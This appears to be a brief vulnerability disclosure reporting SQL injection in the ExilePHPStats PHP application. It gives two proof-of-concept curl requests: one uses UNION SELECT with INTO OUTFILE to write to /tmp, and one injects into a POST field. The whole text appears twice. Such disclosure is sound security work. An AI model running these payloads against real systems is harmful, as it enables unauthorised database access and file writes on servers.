There are several cases in this web application where user supplied input is used directly in SQL queries without validation or parameterisation. I didn't look very hard, but here are two of them:
Example 1
$ curl 'http://localhost/vvv/ExilePHPStats/playersearch.php?searchfield=abacbcbca&searchtype=1=0+union+select+@@version+into+outfile+%27/tmp/exwin%27+--+-&server=Tanoa'
Example 2
$ curl -d "limit=500&searchterm=' union select @@version -- -&searchtype=dodgy&server=" http://localhost/vvv/ExilePHPStats/displayLogs.php
There are several cases in this web application where user supplied input is used directly in SQL queries without validation or parameterisation. I didn't look very hard, but here are two of them:
Example 1
$ curl 'http://localhost/vvv/ExilePHPStats/playersearch.php?searchfield=abacbcbca&searchtype=1=0+union+select+@@version+into+outfile+%27/tmp/exwin%27+--+-&server=Tanoa'Example 2
$ curl -d "limit=500&searchterm=' union select @@version -- -&searchtype=dodgy&server=" http://localhost/vvv/ExilePHPStats/displayLogs.php